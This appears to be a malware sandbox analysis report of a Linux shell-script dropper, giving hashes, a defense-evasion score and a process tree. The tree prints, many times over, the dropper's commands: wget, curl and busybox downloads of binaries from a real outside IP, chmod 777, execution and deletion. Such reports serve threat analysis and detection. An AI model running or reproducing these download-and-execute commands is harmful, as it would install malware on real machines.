4662fe6526ba83645f6a4d758194c90846d5a97df90db0a9e160fa69f4de60f5

Analysis

max time kernel
35s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240508-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
22/11/2024, 02:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
4662fe6526ba83645f6a4d758194c90846d5a97df90db0a9e160fa69f4de60f5.sh
Size 10KB
Sample241122-ctpv7asmex
SHA256 4662fe6526ba83645f6a4d758194c90846d5a97df90db0a9e160fa69f4de60f5
MD5 7adee6a82232c4e4e503f4376352494b
SHA1 23340b6f7c25a2f123fd4d1fad6b7c97bfc3160a
SHA512 51e27f561e817abb5804fa57fdad07cf5f9bdf3bdf8907c7cca587cd4a122fb7f2ca22b3db0a013b43fdcebcc7b98ed7cf847e65c2155035d9e58a65eb5c9f6c
SSDEEP 96:Thk1e+cxt3ZB0X0v050i0O0V73nAoF1M181s1f1r1FTiG/wmlp1M181s1f1r194E:FkKWEse3D/mqypJfTisfmqypJeEse3Dd
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1632	chmod
1694	chmod
1614	chmod
1638	chmod
1700	chmod
1548	chmod
1566	chmod
1602	chmod
1676	chmod
1688	chmod
1560	chmod
1590	chmod
1664	chmod
1542	chmod
1644	chmod
1682	chmod
1554	chmod
1626	chmod
1620	chmod
1536	chmod
1584	chmod
1596	chmod
1650	chmod
1658	chmod
1670	chmod
1572	chmod
1578	chmod
1608	chmod

Executes dropped EXE 28 IoCs

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5	curl
File opened for modification	/tmp/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ	curl
File opened for modification	/tmp/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5	curl
File opened for modification	/tmp/VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH	curl
File opened for modification	/tmp/c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA	curl
File opened for modification	/tmp/CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c	curl
File opened for modification	/tmp/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX	curl
File opened for modification	/tmp/ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z	curl
File opened for modification	/tmp/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d	curl
File opened for modification	/tmp/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL	curl
File opened for modification	/tmp/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL	curl
File opened for modification	/tmp/VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH	curl
File opened for modification	/tmp/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5	curl
File opened for modification	/tmp/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz	curl
File opened for modification	/tmp/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An	curl
File opened for modification	/tmp/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d	curl
File opened for modification	/tmp/c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA	curl
File opened for modification	/tmp/CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c	curl
File opened for modification	/tmp/ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z	curl
File opened for modification	/tmp/D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx	curl
File opened for modification	/tmp/D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx	curl
File opened for modification	/tmp/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX	curl
File opened for modification	/tmp/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0	curl
File opened for modification	/tmp/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5	curl
File opened for modification	/tmp/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz	curl
File opened for modification	/tmp/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0	curl
File opened for modification	/tmp/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An	curl
File opened for modification	/tmp/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ	curl

/tmp/4662fe6526ba83645f6a4d758194c90846d5a97df90db0a9e160fa69f4de60f5.sh
/tmp/4662fe6526ba83645f6a4d758194c90846d5a97df90db0a9e160fa69f4de60f5.sh
1⤵
PID:1528
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1529
- /usr/bin/wget
  wget http://216.126.231.240/bins/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  PID:1530
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  - Writes file to tmp directory
  PID:1534
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  PID:1535
- /bin/chmod
  chmod 777 Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  - File and Directory Permissions Modification
  PID:1536
- /tmp/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  ./Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  - Executes dropped EXE
  PID:1537
- /bin/rm
  rm Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  PID:1538
- /usr/bin/wget
  wget http://216.126.231.240/bins/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  PID:1539
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  - Writes file to tmp directory
  PID:1540
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  PID:1541
- /bin/chmod
  chmod 777 bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  - File and Directory Permissions Modification
  PID:1542
- /tmp/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  ./bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  - Executes dropped EXE
  PID:1543
- /bin/rm
  rm bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  PID:1544
- /usr/bin/wget
  wget http://216.126.231.240/bins/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  PID:1545
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  - Writes file to tmp directory
  PID:1546
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  PID:1547
- /bin/chmod
  chmod 777 XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  - File and Directory Permissions Modification
  PID:1548
- /tmp/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  ./XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  - Executes dropped EXE
  PID:1549
- /bin/rm
  rm XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  PID:1550
- /usr/bin/wget
  wget http://216.126.231.240/bins/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  PID:1551
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  - Writes file to tmp directory
  PID:1552
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  PID:1553
- /bin/chmod
  chmod 777 wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  - File and Directory Permissions Modification
  PID:1554
- /tmp/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  ./wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  - Executes dropped EXE
  PID:1555
- /bin/rm
  rm wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  PID:1556
- /usr/bin/wget
  wget http://216.126.231.240/bins/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  PID:1557
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  - Writes file to tmp directory
  PID:1558
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  PID:1559
- /bin/chmod
  chmod 777 UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  - File and Directory Permissions Modification
  PID:1560
- /tmp/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  ./UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  - Executes dropped EXE
  PID:1561
- /bin/rm
  rm UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  PID:1562
- /usr/bin/wget
  wget http://216.126.231.240/bins/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  PID:1563
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  - Writes file to tmp directory
  PID:1564
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  PID:1565
- /bin/chmod
  chmod 777 1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  - File and Directory Permissions Modification
  PID:1566
- /tmp/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  ./1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  - Executes dropped EXE
  PID:1567
- /bin/rm
  rm 1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  PID:1568
- /usr/bin/wget
  wget http://216.126.231.240/bins/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  2⤵
  PID:1569
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  2⤵
  - Writes file to tmp directory
  PID:1570
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  2⤵
  PID:1571
- /bin/chmod
  chmod 777 YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  2⤵
  - File and Directory Permissions Modification
  PID:1572
- /tmp/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  ./YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  2⤵
  - Executes dropped EXE
  PID:1573
- /bin/rm
  rm YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  2⤵
  PID:1574
- /usr/bin/wget
  wget http://216.126.231.240/bins/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  2⤵
  PID:1575
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  2⤵
  - Writes file to tmp directory
  PID:1576
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  2⤵
  PID:1577
- /bin/chmod
  chmod 777 GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  2⤵
  - File and Directory Permissions Modification
  PID:1578
- /tmp/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  ./GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  2⤵
  - Executes dropped EXE
  PID:1579
- /bin/rm
  rm GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  2⤵
  PID:1580
- /usr/bin/wget
  wget http://216.126.231.240/bins/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  PID:1581
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  - Writes file to tmp directory
  PID:1582
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  PID:1583
- /bin/chmod
  chmod 777 IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  - File and Directory Permissions Modification
  PID:1584
- /tmp/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  ./IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  - Executes dropped EXE
  PID:1585
- /bin/rm
  rm IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  PID:1586
- /usr/bin/wget
  wget http://216.126.231.240/bins/D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  2⤵
  PID:1587
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  2⤵
  - Writes file to tmp directory
  PID:1588
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  2⤵
  PID:1589
- /bin/chmod
  chmod 777 D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  2⤵
  - File and Directory Permissions Modification
  PID:1590
- /tmp/D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  ./D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  2⤵
  - Executes dropped EXE
  PID:1591
- /bin/rm
  rm D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  2⤵
  PID:1592
- /usr/bin/wget
  wget http://216.126.231.240/bins/VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  2⤵
  PID:1593
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  2⤵
  - Writes file to tmp directory
  PID:1594
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  2⤵
  PID:1595
- /bin/chmod
  chmod 777 VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  2⤵
  - File and Directory Permissions Modification
  PID:1596
- /tmp/VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  ./VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  2⤵
  - Executes dropped EXE
  PID:1597
- /bin/rm
  rm VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  2⤵
  PID:1598
- /usr/bin/wget
  wget http://216.126.231.240/bins/CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  2⤵
  PID:1599
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  2⤵
  - Writes file to tmp directory
  PID:1600
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  2⤵
  PID:1601
- /bin/chmod
  chmod 777 CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  2⤵
  - File and Directory Permissions Modification
  PID:1602
- /tmp/CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  ./CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  2⤵
  - Executes dropped EXE
  PID:1603
- /bin/rm
  rm CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  2⤵
  PID:1604
- /usr/bin/wget
  wget http://216.126.231.240/bins/c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  2⤵
  PID:1605
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  2⤵
  - Writes file to tmp directory
  PID:1606
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  2⤵
  PID:1607
- /bin/chmod
  chmod 777 c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  2⤵
  - File and Directory Permissions Modification
  PID:1608
- /tmp/c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  ./c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  2⤵
  - Executes dropped EXE
  PID:1609
- /bin/rm
  rm c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  2⤵
  PID:1610
- /usr/bin/wget
  wget http://216.126.231.240/bins/ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  2⤵
  PID:1611
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  2⤵
  - Writes file to tmp directory
  PID:1612
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  2⤵
  PID:1613
- /bin/chmod
  chmod 777 ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  2⤵
  - File and Directory Permissions Modification
  PID:1614
- /tmp/ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  ./ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  2⤵
  - Executes dropped EXE
  PID:1615
- /bin/rm
  rm ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  2⤵
  PID:1616
- /usr/bin/wget
  wget http://216.126.231.240/bins/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  PID:1617
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  - Writes file to tmp directory
  PID:1618
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  PID:1619
- /bin/chmod
  chmod 777 bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  - File and Directory Permissions Modification
  PID:1620
- /tmp/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  ./bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  - Executes dropped EXE
  PID:1621
- /bin/rm
  rm bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
  2⤵
  PID:1622
- /usr/bin/wget
  wget http://216.126.231.240/bins/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  PID:1623
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  - Writes file to tmp directory
  PID:1624
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  PID:1625
- /bin/chmod
  chmod 777 XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  - File and Directory Permissions Modification
  PID:1626
- /tmp/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  ./XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  - Executes dropped EXE
  PID:1627
- /bin/rm
  rm XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
  2⤵
  PID:1628
- /usr/bin/wget
  wget http://216.126.231.240/bins/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  PID:1629
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  - Writes file to tmp directory
  PID:1630
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  PID:1631
- /bin/chmod
  chmod 777 IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  - File and Directory Permissions Modification
  PID:1632
- /tmp/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  ./IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  - Executes dropped EXE
  PID:1633
- /bin/rm
  rm IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
  2⤵
  PID:1634
- /usr/bin/wget
  wget http://216.126.231.240/bins/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  PID:1635
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  - Writes file to tmp directory
  PID:1636
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  PID:1637
- /bin/chmod
  chmod 777 wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  - File and Directory Permissions Modification
  PID:1638
- /tmp/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  ./wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  - Executes dropped EXE
  PID:1639
- /bin/rm
  rm wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
  2⤵
  PID:1640
- /usr/bin/wget
  wget http://216.126.231.240/bins/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  PID:1641
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  - Writes file to tmp directory
  PID:1642
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  PID:1643
- /bin/chmod
  chmod 777 UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  - File and Directory Permissions Modification
  PID:1644
- /tmp/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  ./UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  - Executes dropped EXE
  PID:1645
- /bin/rm
  rm UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
  2⤵
  PID:1646
- /usr/bin/wget
  wget http://216.126.231.240/bins/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  PID:1647
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  - Writes file to tmp directory
  PID:1648
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  PID:1649
- /bin/chmod
  chmod 777 1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  - File and Directory Permissions Modification
  PID:1650
- /tmp/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  ./1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  - Executes dropped EXE
  PID:1651
- /bin/rm
  rm 1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
  2⤵
  PID:1652
- /usr/bin/wget
  wget http://216.126.231.240/bins/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  2⤵
  PID:1653
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  2⤵
  - Writes file to tmp directory
  PID:1654
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  2⤵
  PID:1655
- /bin/chmod
  chmod 777 YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  2⤵
  - File and Directory Permissions Modification
  PID:1658
- /tmp/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  ./YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  2⤵
  - Executes dropped EXE
  PID:1659
- /bin/rm
  rm YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
  2⤵
  PID:1660
- /usr/bin/wget
  wget http://216.126.231.240/bins/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  2⤵
  PID:1661
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  2⤵
  - Writes file to tmp directory
  PID:1662
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  2⤵
  PID:1663
- /bin/chmod
  chmod 777 GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  2⤵
  - File and Directory Permissions Modification
  PID:1664
- /tmp/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  ./GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  2⤵
  - Executes dropped EXE
  PID:1665
- /bin/rm
  rm GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
  2⤵
  PID:1666
- /usr/bin/wget
  wget http://216.126.231.240/bins/ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  2⤵
  PID:1667
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  2⤵
  - Writes file to tmp directory
  PID:1668
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  2⤵
  PID:1669
- /bin/chmod
  chmod 777 ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  2⤵
  - File and Directory Permissions Modification
  PID:1670
- /tmp/ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  ./ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  2⤵
  - Executes dropped EXE
  PID:1671
- /bin/rm
  rm ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
  2⤵
  PID:1672
- /usr/bin/wget
  wget http://216.126.231.240/bins/D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  2⤵
  PID:1673
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  2⤵
  - Writes file to tmp directory
  PID:1674
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  2⤵
  PID:1675
- /bin/chmod
  chmod 777 D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  2⤵
  - File and Directory Permissions Modification
  PID:1676
- /tmp/D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  ./D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  2⤵
  - Executes dropped EXE
  PID:1677
- /bin/rm
  rm D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
  2⤵
  PID:1678
- /usr/bin/wget
  wget http://216.126.231.240/bins/VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  2⤵
  PID:1679
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  2⤵
  - Writes file to tmp directory
  PID:1680
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  2⤵
  PID:1681
- /bin/chmod
  chmod 777 VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  2⤵
  - File and Directory Permissions Modification
  PID:1682
- /tmp/VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  ./VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  2⤵
  - Executes dropped EXE
  PID:1683
- /bin/rm
  rm VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  2⤵
  PID:1684
- /usr/bin/wget
  wget http://216.126.231.240/bins/CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  2⤵
  PID:1685
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  2⤵
  - Writes file to tmp directory
  PID:1686
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  2⤵
  PID:1687
- /bin/chmod
  chmod 777 CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  2⤵
  - File and Directory Permissions Modification
  PID:1688
- /tmp/CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  ./CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  2⤵
  - Executes dropped EXE
  PID:1689
- /bin/rm
  rm CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  2⤵
  PID:1690
- /usr/bin/wget
  wget http://216.126.231.240/bins/c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  2⤵
  PID:1691
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  2⤵
  - Writes file to tmp directory
  PID:1692
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
